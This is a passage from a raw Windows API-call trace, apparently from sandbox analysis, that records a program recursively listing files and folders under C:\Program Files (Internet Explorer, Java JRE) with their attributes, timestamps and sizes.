ftLastWriteTime.dwLowDateTime=0x2a4c60b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x63800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0094.081] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa182b3a4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa1c0b0e4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x8ca44c00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc9340, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0094.081] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0094.081] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0094.081] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\images\\*", lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260510 [0094.082] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0094.082] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a55ea4d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a55ea4d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a55ea4d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bing.ico", cAlternateFileName="")) returned 1 [0094.082] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a55ea4d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a55ea4d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a55ea4d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bing.ico", cAlternateFileName="")) returned 0 [0094.082] FindClose (in: hFindFile=0x4260510 | out: hFindFile=0x4260510) returned 1 [0094.082] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0094.082] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0094.082] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0094.082] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260590 [0094.082] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0094.082] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c952e, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x970b4468, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x970b4468, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="install.ins", cAlternateFileName="")) returned 1 [0094.083] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c952e, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x970b4468, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x970b4468, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="install.ins", cAlternateFileName="")) returned 0 [0094.083] FindClose (in: hFindFile=0x4260590 | out: hFindFile=0x4260590) returned 1 [0094.083] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0094.083] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0094.083] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0094.083] FindClose (in: hFindFile=0x42604d0 | out: hFindFile=0x42604d0) returned 1 [0094.083] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4263e68 | out: hHeap=0x440000) returned 1 [0094.083] FindNextFileW (in: hFindFile=0x4260450, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Java", cAlternateFileName="")) returned 1 [0094.083] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4263e68 [0094.083] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260190 [0094.083] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.083] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 1 [0094.084] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0094.084] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\*", lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260750 [0094.084] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0094.084] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bin", cAlternateFileName="")) returned 1 [0094.086] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0094.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\*", lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260290 [0094.086] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.087] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x172440, dwReserved0=0x0, dwReserved1=0x0, cFileName="awt.dll", cAlternateFileName="")) returned 1 [0094.087] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bci.dll", cAlternateFileName="")) returned 1 [0094.087] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcpr.dll", cAlternateFileName="")) returned 1 [0094.087] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15040, dwReserved0=0x0, dwReserved1=0x0, cFileName="decora_sse.dll", cAlternateFileName="DECORA~1.DLL")) returned 1 [0094.087] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8f840, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.dll", cAlternateFileName="")) returned 1 [0094.087] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtplugin", cAlternateFileName="")) returned 1 [0094.087] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0094.088] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260790 [0094.089] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0094.089] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfa840, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="deployJava1.dll", cAlternateFileName="DEPLOY~1.DLL")) returned 1 [0094.089] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 1 [0094.089] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 0 [0094.090] FindClose (in: hFindFile=0x4260790 | out: hFindFile=0x4260790) returned 1 [0094.090] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.090] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0094.090] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_socket.dll", cAlternateFileName="DT_SOC~1.DLL")) returned 1 [0094.090] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21440, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.dll", cAlternateFileName="")) returned 1 [0094.090] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x43040, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontmanager.dll", cAlternateFileName="FONTMA~1.DLL")) returned 1 [0094.090] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2da40, dwReserved0=0x0, dwReserved1=0x0, cFileName="fxplugins.dll", cAlternateFileName="FXPLUG~1.DLL")) returned 1 [0094.090] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x40e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.dll", cAlternateFileName="")) returned 1 [0094.090] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6f440, dwReserved0=0x0, dwReserved1=0x0, cFileName="glib-lite.dll", cAlternateFileName="GLIB-L~1.DLL")) returned 1 [0094.091] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x97440, dwReserved0=0x0, dwReserved1=0x0, cFileName="gstreamer-lite.dll", cAlternateFileName="GSTREA~1.DLL")) returned 1 [0094.091] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x26a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hprof.dll", cAlternateFileName="")) returned 1 [0094.091] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e240, dwReserved0=0x0, dwReserved1=0x0, cFileName="instrument.dll", cAlternateFileName="INSTRU~1.DLL")) returned 1 [0094.091] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, 